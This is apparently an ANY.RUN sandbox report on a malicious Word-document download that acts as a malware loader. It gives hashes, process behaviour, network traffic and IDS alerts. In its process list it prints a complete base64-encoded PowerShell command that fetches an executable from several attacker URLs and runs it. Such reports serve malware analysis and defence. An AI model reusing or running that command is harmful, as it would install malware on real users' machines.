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URL:

https://www.dkstudy.com/Februar2019/VTDXDMEZW2724842/Dokumente/DOC

Full analysis: https://app.any.run/tasks/36396d00-b8e5-4e06-a1b8-8884db70e0b8
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: February 18, 2019, 18:59:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
Indicators:
MD5:

234D5E722C5D02702C5B5ADF4BE4A754

SHA1:

B55A9CC6B8E9F9B1488A27FDDE9B2C3DE52B4AC6

SHA256:

49577825B0B907612133D2092F771AF06EAAFF0A47504570D310ACC498E3790C

SSDEEP:

3:N8DSL1UcyKMHh+30pkXh/pmBmn:2OLS5HhNMhRmQn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 651.exe (PID: 3532)
      • 651.exe (PID: 2800)
      • wabmetagen.exe (PID: 3640)
    • Downloads executable files from the Internet

      • powersheLl.exe (PID: 564)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powersheLl.exe (PID: 564)
      • 651.exe (PID: 2800)
    • Creates files in the user directory

      • powersheLl.exe (PID: 564)
    • Application launched itself

      • 651.exe (PID: 3532)
    • Starts itself from another location

      • 651.exe (PID: 2800)
  • INFO

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3212)
      • opera.exe (PID: 3616)
    • Creates files in the user directory

      • opera.exe (PID: 3616)
      • WINWORD.EXE (PID: 3120)
    • Reads internet explorer settings

      • iexplore.exe (PID: 3212)
    • Changes internet zones settings

      • iexplore.exe (PID: 2848)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3120)
    • Application launched itself

      • iexplore.exe (PID: 2848)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start iexplore.exe iexplore.exe opera.exe winword.exe no specs powershell.exe 651.exe no specs 651.exe wabmetagen.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2848"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3212"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2848 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3616"C:\Program Files\Opera\opera.exe" C:\Program Files\Opera\opera.exe
explorer.exe
User:
admin
Company:
Opera Software
Integrity Level:
MEDIUM
Description:
Opera Internet Browser
Version:
1748
3120"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\0345866963065_2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
564powersheLl -e JABvADcAMQBfADcAOABfADMAPQAoACcAUgAnACsAJwBfAF8AMwBfADAAJwApADsAJABCADkAMgA5AF8AOQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABsAF8AOAA1AF8AOQBfAD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAdABvACcAKwAnAGwAJwArACcAcwAnACsAJwB0AHkAYQBrAGkAJwArACcAdAB1AHQALgAnACsAJwByAHUALwAnACsAJwBvACcAKwAnADAARQAnACsAJwBsAHIAUgBPACcAKwAnADAAJwArACcAVwAzACcAKwAnAFkAJwArACcAcgBPAGcAQABoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAHQAYQB0AHQAJwArACcAbwAnACsAJwBvACcAKwAnAGwAYQBiAG0AYQB4AGEAJwArACcAawB1AGwAJwArACcAYQAuAGsAegAnACsAJwAvADcAJwArACcANgA0ACcAKwAnADQAbgA2AE4ANgAnACsAJwBpAEsAUwAnACsAJwBlAEAAJwArACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwB3ACcAKwAnAHcAJwArACcAdwAnACsAJwAuACcAKwAnAHQAaQBtACcAKwAnAG8AJwArACcAdABoAHkAbQBpAGwAbAAnACsAJwBzAC4AbwByACcAKwAnAGcALgB1ACcAKwAnAGsALwBFADAAbwBLAE8AYQAwAEQAeQBDAE4AJwArACcANgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAbgBhACcAKwAnAHYAaQBnAGEAdABvACcAKwAnAHIAcABvACcAKwAnAGoAaQAnACsAJwB6ACcAKwAnAG4AaQAuACcAKwAnAHIAdQAvAFoAcgBFAG8ATwBoAHEAJwArACcAawAnACsAJwBIAEgAbQAnACsAJwBMAFkAJwArACcAXwBPAG4AYQBkAEIAeQAnACsAJwBFACcAKwAnAGgAcwBAACcAKwAnAGgAdAB0AHAAOgAvAC8AZgBlACcAKwAnAG4AaQBjAGgAawBhAC4AJwArACcAcgB1AC8AbgBoADcAJwArACcAcwBRAGEAJwArACcAZABGAFIAeABIADkAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAUQBfADkANAA0ADUANgA3AD0AKAAnAFAAOAAnACsAJwBfACcAKwAnADAANgA3ACcAKQA7ACQAcwA4AF8AMgA3ADEAIAA9ACAAKAAnADYANQAnACsAJwAxACcAKQA7ACQAawA2ADkAMQBfADYAMQAwAD0AKAAnAGoAXwA1AF8AJwArACcAMAAwACcAKQA7ACQAaQBfADIAXwAyADgANQAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABzADgAXwAyADcAMQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGgANgAwADYAMwA3ACAAaQBuACAAJABsAF8AOAA1AF8AOQBfACkAewB0AHIAeQB7ACQAQgA5ADIAOQBfADkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAaAA2ADAANgAzADcALAAgACQAaQBfADIAXwAyADgANQAxACkAOwAkAGIAMwBfADgAXwA5AD0AKAAnAGgAJwArACcANQAwADUANgAnACsAJwA4AF8AXwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAOwAkAG0AMAAwAF8AMwA5ADgAPQAoACcAVABfADAANAAnACsAJwBfACcAKwAnADMAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG4AMgAzADcAXwA2AD0AKAAnAG4AMQA4AF8AMgAnACsAJwAxADcANwAnACkAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3532"C:\Users\admin\651.exe" C:\Users\admin\651.exepowersheLl.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2800"C:\Users\admin\651.exe"C:\Users\admin\651.exe
651.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3640"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe651.exe
User:
admin
Integrity Level:
MEDIUM
Total events
2 449
Read events
1 899
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
21
Text files
15
Unknown types
4

Dropped files

PID
Process
Filename
Type
2848iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico
MD5:
SHA256:
2848iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
3616opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\opr89A.tmp
MD5:
SHA256:
3616opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\opr8DA.tmp
MD5:
SHA256:
3616opera.exeC:\Users\admin\AppData\Local\Opera\Opera\cache\sesn\opr0000V.tmp
MD5:
SHA256:
3616opera.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M9ZV456R59E8NMG0SO6U.temp
MD5:
SHA256:
3616opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xmlxml
MD5:900CCFDFF1F54BFF76D4BB516E5BE3FA
SHA256:FD2D38C0DF18FDF51C5B309B24AF95ACD9FEB0FFFBB6535D59A912FF78831307
3616opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.datbinary
MD5:5535C4B3DC46EBCF2BE23EA19194AAB1
SHA256:71D87E515EBBD325AF2C4C04AAEFAB6FADE682342D3A13EE3F0270309893B482
3616opera.exeC:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.datbinary
MD5:1AA8644C9261DC10F7247F6A145C1DD2
SHA256:58A8933F65361633C6AB194000D312DC9D566F717B1A16814A0DBEE24A60EBE3
3616opera.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\16ec093b8f51508f.customDestinations-ms~RF2115c9.TMPbinary
MD5:86E185DECA505CC26E3CD6C9C96D619C
SHA256:D4F5BEAB5D738897F606485B31D89F773C7B0A59DD85F56BF243DE406FA8CF1D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
12
DNS requests
9
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3616
opera.exe
GET
195.27.31.232:80
http://ocsp.dcocsp.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCEAjcpTCOACXEZyq0lpzxC1k%3D
DE
whitelisted
3616
opera.exe
GET
200
66.225.197.197:80
http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl
US
der
543 b
whitelisted
3616
opera.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAOXQPQlVpLtFek%2BmcpabOk%3D
US
der
471 b
whitelisted
3616
opera.exe
GET
200
93.184.220.29:80
http://crl3.digicert.com/DigiCertGlobalRootCA.crl
US
der
581 b
whitelisted
2848
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
564
powersheLl.exe
GET
200
81.177.135.91:80
http://tolstyakitut.ru/o0ElrRO0W3YrOg/
RU
executable
361 Kb
suspicious
564
powersheLl.exe
GET
301
81.177.135.91:80
http://tolstyakitut.ru/o0ElrRO0W3YrOg
RU
html
246 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2848
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3616
opera.exe
82.145.215.40:443
certs.opera.com
Opera Software AS
whitelisted
3212
iexplore.exe
43.226.146.30:443
www.dkstudy.com
CN
unknown
3616
opera.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3616
opera.exe
66.225.197.197:80
crl4.digicert.com
CacheNetworks, Inc.
US
whitelisted
3616
opera.exe
43.226.146.30:443
www.dkstudy.com
CN
unknown
3616
opera.exe
185.26.182.111:443
sitecheck2.opera.com
Opera Software AS
whitelisted
564
powersheLl.exe
81.177.135.91:80
tolstyakitut.ru
JSC RTComm.RU
RU
suspicious
3616
opera.exe
195.27.31.232:80
ocsp.dcocsp.cn
CW Vodafone Group PLC
DE
suspicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.dkstudy.com
  • 43.226.146.30
unknown
certs.opera.com
  • 82.145.215.40
whitelisted
crl4.digicert.com
  • 66.225.197.197
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
sitecheck2.opera.com
  • 185.26.182.111
  • 185.26.182.112
  • 185.26.182.93
  • 185.26.182.94
whitelisted
crl3.digicert.com
  • 93.184.220.29
whitelisted
ocsp.dcocsp.cn
  • 195.27.31.232
  • 195.27.31.231
whitelisted
tolstyakitut.ru
  • 81.177.135.91
suspicious

Threats

PID
Process
Class
Message
564
powersheLl.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
564
powersheLl.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
564
powersheLl.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info